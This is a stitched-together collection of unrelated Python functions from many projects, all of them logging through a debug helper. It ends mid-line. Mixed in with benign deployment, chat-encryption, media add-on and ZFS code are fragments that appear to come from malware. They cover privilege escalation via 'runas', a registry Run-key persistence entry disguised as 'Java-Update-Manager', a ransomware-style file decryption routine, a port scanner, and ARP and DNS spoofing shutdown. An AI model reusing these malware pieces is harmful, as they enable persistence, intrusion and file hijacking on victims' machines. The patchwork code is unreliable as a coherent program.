def list_configs(self): debug("in deploy.py list_configs") cfgs = self.conn.list_deployment_configs() # TODO: fetch more cfgs via next_token if available cfg_names = cfgs['deploymentConfigsList'] for name in cfg_names: print " - Configuration: {}".format(name)
def _runHelperWait(host): output = [] while True: c = _getConnection(host) if not c: return None (stdin, stdout) = c line = stdout.readline().strip() if line == "~~~": break output += [line] try: rc = int(output[-1]) except ValueError: util.warn("cannot parse exit code from helper on %s: %s" % (host.host, output[-1])) rc = 1 util.debug(1, "exit code %d" % rc, prefix=host.host) for line in output: util.debug(2, " > %s" % line, prefix=host.host) return (rc == 0, output[:-1])
def printBatteryProbabilities(self): debug("***BATTERY PROBABILITIES***") for y in range(len(self.robotSquares)): p = [] for x in range(len(self.robotSquares[0])): p.append(self.robotSquares[x][y].probBat) debug(p)
def submit_fragment(self, fragment, sender, server, target): """ Submit fragment for assembling. If this fragment completes the packet, then return the packet payload. """ peer_sid = "%s:%s:%s" % (sender, server, target) n_current_fragment, n_total_fragments = self.get_fragment_details(fragment) if n_current_fragment == n_total_fragments == 1: # Message was only one fragment long. Return it immediately. return get_fragment_payload(fragment) # Check if this is the beginning of a new fragmented message. if peer_sid not in self.active_incomplete_msgs: if n_current_fragment != 1: util.debug("Received fragment %d from unknown peer. Ignoring." % n_current_fragment) return None incomplete_msg = IncompleteMessage(peer_sid, fragment, n_total_fragments) self.register_new_incomplete_msg(peer_sid, incomplete_msg) return None # This is an old fragmented message. Submit newly found fragments. incomplete_msg = self.active_incomplete_msgs[peer_sid] complete_msg = incomplete_msg.submit_new_message_fragment(fragment, n_current_fragment, n_total_fragments) # Check if we just completed this message and if so, return the full # thing to our caller. Also clean up. if complete_msg: self.active_incomplete_msgs.pop(peer_sid) # cleanup util.debug("Completed fragmented message (%d)! Returning!" % n_total_fragments) return complete_msg else: return None
def download(self, urls=None): total_downloaded = 0 if urls is None: connections = [self.connect(self.host) for i in range(self.runs)] else: connections = [self.connect(h['host']) for h in urls] total_start_time = time() for current_file in self.DOWNLOAD_FILES: threads = [] for run in range(self.runs): thread = Thread( target=self.downloadthread, args=(connections[run], '%s?x=%d' % (current_file, int(time() * 1000)) if urls is None else urls[run]['url'])) thread.run_number = run + 1 thread.start() threads.append(thread) for thread in threads: try: thread.join() total_downloaded += thread.downloaded util.debug('[SC] Run %d for %s finished' % (thread.run_number, current_file)) except: pass total_ms = (time() - total_start_time) * 1000 for connection in connections: connection.close() util.info('[SC] Took %d ms to download %d bytes' % (total_ms, total_downloaded)) return total_downloaded * 8000 / total_ms
def test_stop(self): """Test if we're still spoofing """ if self.dns_spoof: return False util.debug('Stopping DNS spoofer...') return True
def _run_warning_cleanup(self, zpool): util.debug("Performing warning level cleanup on %s" % \ zpool.name, \ self.verbose) self._run_cleanup(zpool, "daily", self._warningLevel) if zpool.get_capacity() > self._warningLevel: self._run_cleanup(zpool, "hourly", self._warningLevel)
def main_sql_to_excel(): """Read from database then write in excel""" # To do # read database # database variable db_host = 'localhost' db_user = '******' db_password = '' db_name = 'rimus' conn = MySQLdb.connect(db_host, db_user, db_password, db_name) cursor = conn.cursor() query = "SELECT * FROM `tweets`" try: cursor.execute(query) result = cursor.fetchall() # return result except Exception, e: util.debug('db_control.read error' + str(e)) conn.rollback() result = None
def submit_new_message_fragment(self, new_fragment, n_current_fragment, n_total_fragments): """ Submit new message fragment: If the message is finally complete, return it. If message is still pending, return None. Can also raise FragmentationError if corrupted format. """ if n_total_fragments != self.n_total_fragments: raise FragmentationError("New fragment piece has different parameters!") if n_current_fragment != (self.n_current_fragment + 1): raise FragmentationError("Received fragment piece in wrong order (%d/%d)!", n_current_fragment, (self.n_current_fragment + 1)) util.debug("Submitting new fragment (%d/%d) for %s" % (n_current_fragment, n_total_fragments, self.peer_sid)) # Increase fragment counter self.n_current_fragment += 1 # Submit new payload fragment_payload = get_fragment_payload(new_fragment) self.collected_payloads.append(fragment_payload) # If message is complete, return it. Otherwise return None. if self.n_current_fragment == self.n_total_fragments: print "LOL: %s" % str(self.collected_payloads) return "".join(self.collected_payloads) else: return None
def list(self, url): print("Examining url", url) if self.is_most_popular(url): if "movie" in url: return self.list_movies_by_letter(url) if "tv" in url: return self.list_tv_shows_by_letter(url) if self.is_recently_added(url): util.debug("is recently added") if "movie" in url: return self.list_movie_recently_added(url) if "tv" in url: util.debug("is TV") return self.list_tv_recently_added(url) if self.is_search(url): return self.list_search(url) if self.is_base_url(url): self.base_url = url if "movie" in url: return self.a_to_z(MOVIES_A_TO_Z_TYPE) if "tv" in url: return self.a_to_z(TV_SHOWS_A_TO_Z_TYPE) if self.particular_letter(url): if "movie" in url: return self.list_movies_by_letter(url) if "tv" in url: return self.list_tv_shows_by_letter(url) if self.has_tv_show_flag(url): return self.list_tv_show(self.remove_flags(url)) return [self.dir_item(title="I failed", url="fail")]
def printBombProbabilities(self): debug("***BOMB PROBABILITIES***") for y in range(len(self.robotSquares)): p = [] for x in range(len(self.robotSquares[0])): p.append(self.robotSquares[x][y].probBomb) debug(p)
def send_key_transport_packet(viola_room): util.debug("I'm captain in %s: Membership changed. Refreshing message key." % viola_room.name) account = accounts.get_my_account() channel = viola_room.name server = viola_room.server assert(viola_room.i_am_captain) # Only captains should be here! # Prepare necessary packet fields. captain_identity_key = account.get_identity_pubkey() captain_transport_key = viola_room.get_room_participant_pubkey() # XXX maybe special func for captain's key? message_key_array = viola_room.get_message_key_array() # XXX also generates key. rename. # our array must be a multiple of 72 bytes assert(len(message_key_array) % MESSAGE_KEY_ARRAY_CELL_LEN == 0) # Sign all previous fields. packet_fields = captain_identity_key + captain_transport_key + message_key_array packet_signed = account.sign_msg_with_identity_key(packet_fields) payload_b64 = base64.b64encode(packet_signed) viola_room.status = "bootstrapping" util.debug("Sending KEY_TRANSPORT in %s!" % channel) msg = KEY_TRANSPORT_OPCODE + payload_b64 transport.send_viola_privmsg(server, channel, msg) viola_room.status = "done"
def __init__( self, deck ): self.deck = deck self.deckName = str( deck.name() ) self.deckPath = str( deck.path ) self.dbsPath = deckDbPath + os.sep + self.deckName self.cfgPath = self.dbsPath + os.sep + 'config' self.allPath = self.dbsPath + os.sep + 'all.db' self.cfg = { # user configurable 'mature threshold':21, 'learnt threshold':3, 'known threshold':3, 'interval dbs to make':range(1,21)+[30,100,365], 'morph fields':['Expression'], 'i+N known field':'iPlusN', 'i+N mature field':'iPlusNmature', 'unknowns field':'unknowns', 'unmatures field':'unmatures', 'vocab rank field':'vocabRank', 'morph man index field':'morphManIndex', 'copy i+1 known to':'vocabExpression', 'copy i+0 mature to':'sentenceExpression', 'whitelist':u'', 'blacklist':u'記号,UNKNOWN', 'enabled':'no', # internal 'last deck update':0, # TimeStamp 'last deck update took':0, # Seconds 'last all.db update took':0, # Seconds 'last db update':{}, # Map DbPath TimeStamp } self.loadCfg() debug( 'Loaded DeckMgr for %s' % self.deckName )
def move(self, world_square): if world_square.loc != self.loc: # if not initialization, calculate battery usage path_len = self.findPath(world_square) self.changeBattery(-path_len) self.loc = world_square.loc # search location # update RobotSquare if world_square.bomb or self.battery == 0: self.explode() return # found a battery! Update the current bombStates if world_square.battery: # update robot map and checkedSquares print "SHOULDN'T GET HERE" self.robotMap.removeBat(self.loc) self.robotMap.filterBatteryStates(self.loc) self.robotMap.getSquare(self.loc).setChecked() # add WorldSquare to checkedSquares self.robotMap.checkedSquares.append(world_square) # remove current location from fringe self.robotMap.fringe.remove(self.robotMap.getSquare(self.loc)) # add neighbors of current location to fringe self.robotMap.updateProbabilities(world_square) neighbors = self.robotMap.getNeighbors(self.loc) for neighbor in neighbors: if not neighbor.checked and not neighbor.flagged and neighbor not in self.robotMap.fringe: self.robotMap.fringe.append(neighbor) debug("Fringe:") for square in self.robotMap.fringe: debug(square)
def cloud_init_script(self): debug("in launchconfig.py cloud_init") # load cloud-init script template cloud_init_template = LCTemplate(cloud_init_script) cloud_init_config = _cfg.get_root() # add extra template vars cloud_init_config['base_packages'] = " ".join(_cfg.get('packages')) or '' cloud_init_config['yum_plugin_url'] = _cfg.get('repo', 'plugin_url') or '' # from role config cloud_init_config['role_packages'] = " ".join(self.role_config.get('packages')) or '' cloud_init_config['repo_url'] = self.role_config.get('repo_url') or '' # append extra commands from config cloud_init_config['cloud_init_pre'] = _cfg.get('cloud_init') or _cfg.get('cloud_init_pre') or '' cloud_init_config['cloud_init_post'] = _cfg.get('cloud_init_post') or '' # cluster/role configurable extra cloud-init stuff cloud_init_config['cloud_init_extra'] = self.role_config.get('cloud_init_extra') or '' cloud_init_config['cluster_name'] = self.cluster_name or '' cloud_init_config['role_name'] = self.role_name or '' cloud_init = cloud_init_template.substitute(**cloud_init_config) return cloud_init
def activate(self): debug("in launchconfig.py activate") conn = util.as_conn() name = self.name() if self.exists(): pprint("in launchconfig.py self.exists()") # NOTE: I don't think program logic ever gets here if not util.confirm("LaunchConfig {} already exists, overwrite?".format(name)): pprint("in launchconfig.py activate: Confirmed overwriting LaunchConfig") return True # delete existing pprint("in launchconfig.py activate: deleting LaunchConfig") conn.delete_launch_configuration(LaunchConfigurationName=name) # get configuration for this LC cfg = self.role_config # NOTE: wrap the following in a try block to catch errors lc = conn.create_launch_configuration( AssociatePublicIpAddress = True, # this is required to make your stuff actually work LaunchConfigurationName = name, IamInstanceProfile = cfg.get('iam_profile'), ImageId = cfg.get('ami'), InstanceType = cfg.get('instance_type'), KeyName = cfg.get('keypair_name'), UserData = self.cloud_init_script(), SecurityGroups = cfg.get('security_groups') ) #if not conn.create_launch_configuration(lc): # print "Error creating LaunchConfig {}".format(name) # return False util.message_integrations("Activated LaunchConfig {}".format(name)) return lc
def get_message_key_array_and_counter(self): """ As the captain, we need to generate a new room message key, encrypt it, put it in the message key array and pass it to all the room members. Return the message key array and the new message key counter. """ assert(self.i_am_captain) fresh_room_message_key = crypto.gen_symmetric_key() new_key_counter = self.key_transport_counter + 1 self.set_room_message_key(fresh_room_message_key, new_key_counter) util.debug("Generated new room message key for %s: %s" % (self.name, crypto.get_hexed_key(self.key_cache.get_current_key()))) message_key_array = [] for member in self.members.values(): # Encrypt the room message key for each member. key_ciphertext = member.get_message_key_ciphertext(self.participant_priv_key, self.key_cache.get_current_key()) assert(len(key_ciphertext) == 32 + 40) # XXX message_key_array.append(key_ciphertext) # Concatenate all bytes and return message_key_array_str = "".join(message_key_array) return message_key_array_str, new_key_counter
def makeContext ( self, ctx ): """generate a dictionary containing the bindings for all objects from the NamingContext""" dict = {} how_many = 10 try: namecontext = ctx._narrow( CosNaming.NamingContext ) (binding_list, binding_iterator) = namecontext.list( how_many ) # process returned bindinglist for binding in binding_list: name = binding.binding_name dict[name[0].id] = namecontext.resolve( name ) # process iterator if binding_iterator: (cond, binding) = binding_iterator.next_one() while cond: name = binding.binding_name dict[name[0].id] = namecontext.resolve( name ) (cond, binding) = binding_iterator.next_one() except : util.debug( "makeContext" ) return dict
def user_got_kicked(irc_msg, server): """A user got kicked from a channel we are in. Remove them from the member list.""" account = accounts.get_my_account() parsed = util.parse_irc_quit_kick_part(irc_msg, server) nick = parsed['from_nick'] channel = parsed['channel'] command = parsed['command'] target = parsed['target'] assert(command.upper() == "KICK") util.debug("%s got kicked from %s by %s." % (target, channel, nick)) try: viola_room = account.get_viola_room(channel, server) except accounts.NoSuchRoom: util.debug("No viola room at %s. Sending plaintext." % channel) return try: viola_room.remove_member_and_rekey(target) except room.NoSuchMember: util.control_msg("A non-existent nick left the room. WTF.") # XXX i think this also catches ourselves
def inventory_generator(self, sections=['pack', 'equiped', 'spells']): """ >>> c = Character({}) >>> mhand = Item(load_yaml('items', 'mainhand_dagger.yaml')) >>> mhand = c.acquire_item(mhand) >>> len(list(c.inventory_generator(['pack']))) 1 >>> c.equip_item(mhand) (True, '[ ] has equiped Dagger') >>> len(list(c.inventory_generator(['pack']))) 0 >>> len(list(c.inventory_generator(['equiped']))) 1 >>> for item in c.inventory_generator(['equiped']): item[1].displayname() 'Dagger' """ for section in sections: if section in ['pack', 'spells']: items = self.get('inventory/%s' % section, []) idx = -1 for item in items: idx += 1 yield (section, Item(item), idx) else: item = self.getsubtree('inventory/%s' % section) for slot in FlattenedDict(item).subkeys(): debug('Getting inventory from ', slot) itemdata = self.getsubtree('inventory/equiped/%s' %slot) if itemdata: yield(section, Item(itemdata),slot)
def weapons(self): """ >>> char = Character({}) >>> char.weapons[0].displayname() 'Fist' >>> halberd = char.acquire_item(Item(load_yaml('items','halberd.yaml'))) >>> item = Item(char.get('inventory/pack')[0]) >>> char.equip_item(item) (True, '[ ] has equiped Halberd') >>> char.weapons[0].displayname() 'Halberd' >>> len(char.weapons) 1 """ equipedweapons = self.equiped_by_type('weapon') if not equipedweapons: messages.warning('No weapons equipped - equipping fist') fist = Item(load_yaml('items', 'ff7b801f5dfa6ad84870ca1ce2d43c74685d9ddbfcdc488e2ad66caa.yaml')) fist = self.acquire_item(fist) self.equip_item(fist) equipedweapons = self.equiped_by_type('weapon') if equipedweapons and equipedweapons[0].get('slot', "") == 'twohand': return [equipedweapons[0]] debug('Equipped weapons', equipedweapons) return equipedweapons
def install(host, src, dstdir): if isLocal(host): if not exists(host, src): util.output("file does not exist: %s" % src) return False dst = os.path.join(dstdir, os.path.basename(src)) if exists(host, dst): # Do not clobber existing files/dirs (this is not an error) return True util.debug(1, "cp %s %s" % (src, dstdir)) try: if os.path.isfile(src): shutil.copy2(src, dstdir) elif os.path.isdir(src): shutil.copytree(src, dst) except OSError: # Python 2.6 has a bug where this may fail on NFS. So we just # ignore errors. pass else: util.error("install() not yet supported for remote hosts") return True
def handle_viola_packet(packet, parsed, server): """ Handle a generic viola packet. Parse its opcode and call the correct function for this specific type of packet. """ util.debug("Parsing viola packet.") # XXX terrible functionify opcode = packet[:2] packet_payload = packet[2:] if opcode == "00": msg = introduction.handle_introduction_packet(packet_payload, parsed) elif opcode == "01": msg = handle_room_join_packet(packet_payload, parsed, server) elif opcode == "02": msg = handle_key_transport_packet(packet_payload, parsed, server) elif opcode == "03": msg = handle_room_message_packet(packet_payload, parsed, server) else: util.debug("Received viola packet with opcode: %s" % opcode) raise NotImplementedError("wtf") return msg
def handle_introduction_packet(packet_payload, parsed): util.debug("Parsing introduction packet") payload = base64.b64decode(packet_payload) if len(payload) < INTRODUCTION_PAYLOAD_LEN: raise IncompletePacket # Get packet fields signature = payload[:64] rcvd_pubkey = crypto.parse_signing_pubkey(payload[64:64+32]) # Verify signature try: rcvd_pubkey.verify(payload) except nacl.exceptions.BadSignatureError: util.control_msg("Could not verify signature of INTRODUCTION packet.") return "" hexed_key = crypto.get_hexed_key(rcvd_pubkey) irc_nick = parsed['from_nick'] util.control_msg("You received an introduction from %s with identity key:" % irc_nick) util.control_msg("\t%s" % otrlib.colorize(hexed_key, "green")) util.control_msg("If you trust that key, please type:") util.control_msg("\t /viola trust-key <name> %s" % hexed_key) util.control_msg("where <name> is the nickname you want to assign to the key.") util.control_msg("Example: /viola trust-key alice %s" % hexed_key) util.control_msg("-" * 100) return ""
def list_applications(self): debug("in deploy.py list_applications") apps = self.conn.list_applications() # TODO: fetch more apps via next_token if available app_names = apps['applications'] for name in app_names: print " - Application: {}".format(name)
def test_stop(self): """ Callback for stopping a sniffer """ if self.running: return False util.debug("Stopping sniffer threads for %s.." % self.which) return True
def print_deployment(self, dep_id): debug("in deploy.py print_deployment") dep = self.conn.get_deployment(deploymentId=dep_id) info = dep['deploymentInfo'] dep_id = info['deploymentId'] app_name = info['applicationName'] group_name = info['deploymentGroupName'] status = info['status'] rev_info = info['revision'] createTime = info['createTime'] create_time_display = createTime.strftime("%A, %d %B %Y %I:%M%p") commit_id = 'unknown' msg = "" if 'errorInformation' in info: error_info = info['errorInformation'] msg = error_info['message'] # else get status...? if 'gitHubLocation' in rev_info: commit_id = self.commit_id_display(rev_info['gitHubLocation']['commitId']) print """ - {}/{} [{}] Created: {} Status: {} Message: {} Commit: {} """.format(app_name, group_name, dep_id, create_time_display, status, msg, commit_id)
def _say_new(self, what): debug("say: new") item_name = self.cache_new(what) what = urllib.quote(urllib.unquote(what).encode('utf8'), '') url = "http://translate.google.com/translate_tts?tl=cs&q=%s" % what c = pycurl.Curl() c.setopt(pycurl.URL, url) #c.setopt(pycurl.RETEURNTRANSFER, 1) c.setopt(pycurl.HEADER, 0) c.setopt(pycurl.FOLLOWLOCATION, 1) c.setopt(pycurl.ENCODING, "") c.setopt(pycurl.USERAGENT, "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2") c.setopt(pycurl.CONNECTTIMEOUT, 120) c.setopt(pycurl.TIMEOUT, 120) c.setopt(pycurl.MAXREDIRS, 10) b = StringIO.StringIO() c.setopt(pycurl.WRITEFUNCTION, b.write) c.perform() content = b.getvalue() mp3name = self._mk_mp3name(item_name) with open(mp3name, "w") as f_out: f_out.write(content) return item_name
def install(host, src, dst): if isLocal(host): if not exists(host, src): util.output("file does not exist: %s" % src) return False if os.path.isfile(dst): try: os.remove(dst) except OSError, e: print 'install: os.remove(%s): %s' % (dst, e.strerror) sys.exit(1) util.debug(1, "cp %s %s" % (src, dst)) try: if os.path.isfile(src): shutil.copy2(src, dst) elif os.path.isdir(src): shutil.copytree(src, dst) except OSError: # Python 2.6 has a bug where this may fail on NFS. So we just # ignore errors. pass return True
def user_left_channel(irc_msg, server): """A user left a channel we are in. Remove them from the channel if we are captain.""" account = accounts.get_my_account() parsed = util.parse_irc_quit_kick_part(irc_msg, server) nick = parsed['from_nick'] channel = parsed['channel'] command = parsed['command'] assert(command.upper() == "PART") util.debug("Received %s from %s in channel %s." % (command, nick, channel)) try: viola_room = account.get_viola_room(channel, server) except accounts.NoSuchRoom: util.debug("No viola room at %s. Sending plaintext." % channel) return try: viola_room.remove_member_and_rekey(nick) except room.NoSuchMember: util.control_msg("A non-existent nick left the room. WTF.") # XXX i think this also catches ourselves return
def __parse_connect_response(response): a = list(response) a = map(ord, a) ##first, rip off the dtn! if (array_into_string(a[0:4]) != "dtn!"): #malformed, drop it util.debug("Malformed connect response") return None else: results = [] #version -this is seemingly wrong results.append(a[4]) #flags results.append(a[5]) #keepalive -two bytes results.append((a[6] << 8) + a[7]) len = a[8] results.append(array_into_string(a[9:9 + len])) return results
def makeRequest(self, path, byterange=''): debug(DEBUG+1, 'makeRequest: %s %s:%d', path, self.factory.host, self.factory.port) if self.factory.port == 80: host = self.factory.host else: host = '%s:%d' %(self.factory.host, self.factory.port) s = 'GET %s HTTP/1.1\r\n' %(path) +\ 'Host: %s\r\n' %(host) +\ 'Connection: keep-alive\r\n' +\ 'Cache-Control: no-cache\r\n' +\ 'Pragma: no-cache\r\n' if not byterange == '': s = s+'Range: bytes='+byterange+'\r\n' s = s+'User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.71 Safari/537.36\r\n' +\ '\r\n' #debug(0, 'makeRequest: %s ', s) self.transport.write(s)
def escalate(self): """ attempt to escalate privileges """ try: if util.administrator(): return "Current user '{}' has administrator privileges".format( self.info.get('username')) if os.name is 'nt': win32com.shell.shell.ShellExecuteEx( lpVerb='runas', lpFile=sys.executable, lpParameters='{} asadmin'.format(self.clients.get('result'))) else: return "Privilege escalation not yet available on '{}'".format( sys.platform) except Exception as e: util.debug("{} error: {}".format(self.escalate.func_name, str(e)))
def shutdown(self): """ Shutdown the ARP spoofer """ if not self.running: return Msg("Initiating ARP shutdown...") debug('initiating ARP shutdown') self.running = False time.sleep(2) # give it a sec for the respoofer # rectify the ARP caches sendp(Ether(dst=self.victim[1], src=self.target[1]) / ARP(op='who-has', psrc=self.target[0], pdst=self.victim[0]), count=1) sendp(Ether(dst=self.target[1], src=self.victim[1]) / ARP(op='who-has', psrc=self.victim[0], pdst=self.target[0]), count=1) debug('ARP shutdown complete.') return True
def _threader(tasks): try: retries = 0 while True: try: method, task = tasks.get_nowait() if callable(method): method(task) tasks.task_done() except: if retries < 3: retries += 1 time.sleep(1) continue else: break except Exception as e: util.debug("{} error: {}".format(_threader.func_name, str(e)))
def diffiehellman(connection): if isinstance(connection, socket.socket): try: g = 2 p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF a = Crypto.Util.number.bytes_to_long(os.urandom(32)) xA = pow(g, a, p) connection.send(Crypto.Util.number.long_to_bytes(xA)) xB = Crypto.Util.number.bytes_to_long(connection.recv(256)) x = pow(xB, a, p) return Crypto.Hash.MD5.new( Crypto.Util.number.long_to_bytes(x)).hexdigest() except Exception as e: util.debug("{} error: {}".format(diffiehellman.func_name, str(e))) else: util.debug( "{} erorr: invalid input type - expected '{}', received '{}'". format(diffiehellman.func_name, socket.socket, type(connection)))
def roomInfo(json): try: name = json['map']['name'] x = json['map']['x'] y = json['map']['y'] location = "%s.%sx%s" % (name, x, y) tf.eval("/set _map_gmcp_location=%s" % location) if location in set(telepyrts): eval = '/_map_teleport %s' % telepyrts.get(location) debug(eval) tf.eval(eval) except (AttributeError, KeyError) as e: debug('roomInfo error: %s not found' % e.message) return
def _remove_registry_key(value=None, name='Java-Update-Manager'): try: if methods['registry_key'].established and os.name == 'nt': value = methods['registry_key'].result try: key = OpenKey( _winreg.HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_ALL_ACCESS) _winreg.DeleteValue(key, name) _winreg.CloseKey(key) return (False, None) except: pass return (methods['registry_key'].established, methods['registry_key'].result) except Exception as e: util.debug(str(e))
def decrypt_files(rsa_key): """ Decrypt all encrypted files on host machine `Required` :param str rsa_key: RSA private key in PEM format """ try: if not isinstance(rsa_key, Crypto.PublicKey.RSA.RsaKey): rsa_key = Crypto.PublicKey.RSA.importKey(rsa_key) if not rsa_key.has_private(): return "Error: RSA key cannot decrypt" globals()['threads']['iter-files'] = _iter_files(rsa_key) globals()['threads']['decrypt-files'] = _threader() return "Decrypting files" except Exception as e: util.debug("{} error: {}".format(decrypt_files.func_name, str(e)))
def _scan(target): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1.0) sock.connect((str(target.host), int(target.port))) data = sock.recv(1024) sock.close() if data: data = ''.join([i for i in data if i in ([chr(n) for n in range(32, 123)])]) data = data.splitlines()[0] if '\n' in data else str(data if len(str(data)) <= 80 else data[:77] + '...') item = { str(target.port) : { 'protocol': globals()['ports'][str(target.port)]['protocol'], 'service': data, 'state': 'open'}} else: item = { str(target.port) : { 'protocol': globals()['ports'][str(target.port)]['protocol'], 'service': globals()['ports'][str(target.port)]['service'], 'state': 'open'}} __results.get(target.host).update(item) except (socket.error, socket.timeout): pass except Exception as e: util.debug("{} error: {}".format(_scan.func_name, str(e)))
def get_k_most_similar_train_example(test_tree, train_src_tree, k): if test_tree is None: indices = np.random.randint(low=0, high=len(train_src_tree) - 1, size=(k)) return indices dists = [] for tr_idx, train_tree in enumerate(train_src_tree): if tr_idx % 1000 == 0: debug(tr_idx) if train_tree is not None: dist = get_tree_edit_distance(test_tree, train_tree) else: dist = 99999 dists.append(dist) indices = np.argsort(dists)[:k] return indices pass
def listAppendToCustom(user, list_id): lists = json.loads(getTrakt('/users/me/lists')) lists = [(i['ids']['slug'], i['name']) for i in lists] select = sctop.selectDialog([i[1] for i in lists], sctop.getString(30968).encode("utf-8")) if select == -1: return dst_list = lists[select][0] dst_items = _getListItemsForImport(user, list_id) result, code, info = getTrakt('/users/me/lists/%s/items' % dst_list, post=dst_items, output="info") if code == 201: sctop.infoDialog("%s" % lists[select][1], sctop.getString(30969).encode("utf-8")) else: util.debug('[SC] import to %s failed. %d, %s' % (dst_list, code, result))
async def handle_setup_webhook(password: str = Form(...)): if password != settings.admin_password: raise HTTPException( status_code=status.HTTP_403_FORBIDDEN, detail="Only admin is allowed to configure webhook", ) new_webhook_url = ( f"{settings.service_url}/webhook/{settings.webhook_secret}/" ) debug(new_webhook_url) await telegram.set_webhook(url=new_webhook_url) return RedirectResponse( "/", status_code=status.HTTP_303_SEE_OTHER, )
def print_instances(self): debug("In asgroup.py print_instances") name = self.name() asg_info = self.conn.describe_auto_scaling_groups( AutoScalingGroupNames=[name])['AutoScalingGroups'] if not asg_info: pprint("No info for ASG " + name + " . are you sure it exists?") return None else: instances = asg_info[0]['Instances'] print("Group\t\tID\t\tState\t\tStatus") for instance in instances: status = instance['HealthStatus'] lcname = instance['LaunchConfigurationName'] state = instance['LifecycleState'] group = name iid = instance['InstanceId'] print("{}\t{}\t{}\t{}".format(group, iid, state, status))
def idle(self): now = datetime.datetime.utcnow() if time.time() > (MKT_CLOSE_TIME / 1000): util.debug("Exceeded market close time. Exiting.") self.close() return util.debug("Idling...") self.last_idle_time = now #handle quote stuff if not self.quotes_requested: if now - self.last_quote_request_time >= QUOTE_TIME: if MKT_CLOSE_TIME / 1000 > time.time(): self.request_quotes() elif not self.gtc.busy() and not self.gtc.waiting(): self.process_quotes() self.reset_quotes()
def process_image_links(app, docname, source): """ Converts image links in markdown files from ./..../imagename.png to _static/imagename.png This function is called by sphinx for each document. `source` is a 1-item list. """ linkexp = r'<img src=".*"\s*>' for m in re.finditer(linkexp, source[0]): link = m.group(0).split('"') if len(link) == 3 and link[1].startswith("."): link[1] = "_static/" + link[1].rpartition("/")[2] link = '"'.join(link) debug(f"[IMG] {docname}: {link}") source[0] = source[0][:m.start()] + link + source[0][m.end():]
def get_instances(self): debug("In asgroup.py get_instances") ret = [] done = False next_token = None while not done: params = {} if next_token: params["next_token"] = next_token all_instances = self.conn.get_all_autoscaling_instances(**params) next_token = all_instances.next_token if not next_token: done = True instances = [ i for i in all_instances if i.group_name == self.name() ] ret.extend(instances) return ret
def print_last_deployment(self, **kwargs): debug("in deploy.py print_last_deployment") application_name = self.app_name() group_name = None if not kwargs: print("No deployment group specified. Listing info for all of them.") deployment_groups = self.conn.list_deployment_groups(applicationName=application_name)['deploymentGroups'] for deployment_group in deployment_groups: last_dep = self.get_last_deployment(deployment_group) if not last_dep: continue self.print_deployment(last_dep) elif 'deployment_group_name' in kwargs: # list a specific group? dep = self.get_last_deployment(kwargs['deployment_group_name']) self.print_deployment(dep) else: raise ValueError("unknown kwargs for print_last_deployment")
def create_and_start(self): util.debug("Starting and restoring wallet {}".format(self)) util.rm_file_if_exists(self.fname) util.ensure_dir( "~/.electrum" ) # TODO not sure why I have to do this, but it crashes otherwise # start daemon # TODO messy; assumes it takes 5 seconds; for some reason shell_blocking won't work util.shell_expect("electrum daemon start") util.sleep(5) util.shell_expect(self._args("electrum daemon start")) util.sleep(5) util.shell_blocking( self._with_password( self._args("electrum restore -o \"{}\"".format(self.seed)))) util.shell_blocking(self._args("electrum daemon load_wallet")) util.debug("Started and restored wallet {}".format(self))
def items(self, url=None, data=None): self.subs = self.getSubs() if data is None and url is not None: data = self._json(url) result = [] if data is not None and data.get("menu"): for m in data["menu"]: try: if 'visible' in m and not sctop.getCondVisibility( m['visible']): continue if m['type'] == 'dir': item = self._dir_item(m) elif m['type'] == 'video': item = self._video_item(m) else: item = self._video_item(m) result.append(item) except Exception: util.debug('[SC] item error: %s' % str(traceback.format_exc())) pass try: skeys = sctop.win.getProperty('sc.filter._keys') if skeys != '': fremove = json.loads(skeys) if fremove is not None: for i in fremove: util.debug('[SC] remove filter %s' % str(i)) sctop.win.clearProperty('sc.filter.%s' % str(i)) sctop.win.clearProperty('sc.filter._keys') except: sctop.win.clearProperty('sc.filter._keys') pass if 'system' in data: self.system(data["system"]) if 'filter' in data: try: fkeys = [] for k, v in data['filter'].items(): if k != 'meta': fkeys.append(k) util.debug('[SC] filter %s: %s' % (str(k), str(v))) sctop.win.setProperty('sc.filter.%s' % str(k), str(v)) sctop.win.setProperty('sc.filter._keys', json.dumps(fkeys)) except: sctop.win.clearProperty('sc.filter._keys') util.debug('[SC] filter err %s' % str(traceback.format_exc())) else: result = [{'title': 'i failed', 'url': 'failed', 'type': 'dir'}] self.parent.endOfDirectory(succeeded=False) return result
def _perform_cleanup(self): if self._cleanupLock.acquire(False) == False: # Cleanup already running. Skip return self._destroyedsnaps = [] for zpool in self._zpools: try: self._poolstatus[zpool.name] = 0 capacity = zpool.get_capacity() if capacity > self._warningLevel: self._run_warning_cleanup(zpool) self._poolstatus[zpool.name] = 1 capacity = zpool.get_capacity() if capacity > self._criticalLevel: self._run_critical_cleanup(zpool) self._poolstatus[zpool.name] = 2 capacity = zpool.get_capacity() if capacity > self._emergencyLevel: self._run_emergency_cleanup(zpool) self._poolstatus[zpool.name] = 3 capacity = zpool.get_capacity() if capacity > self._emergencyLevel: self._run_emergency_cleanup(zpool) self._poolstatus[zpool.name] = 4 # This also catches exceptions thrown from _run_<level>_cleanup() # and _run_cleanup() in methods called by _perform_cleanup() except RuntimeError, message: sys.stderr.write("Remedial space cleanup failed because " + \ "of failure to determinecapacity of: " + \ zpool.name + "\n") self.exitCode = smf.SMF_EXIT_ERR_FATAL self._cleanupLock.release() # Propogate up to thread's run() method. raise RuntimeError, message # Bad - there's no more snapshots left and nothing # left to delete. We don't disable the service since # it will permit self recovery and snapshot # retention when space becomes available on # the pool (hopefully). util.debug("%s 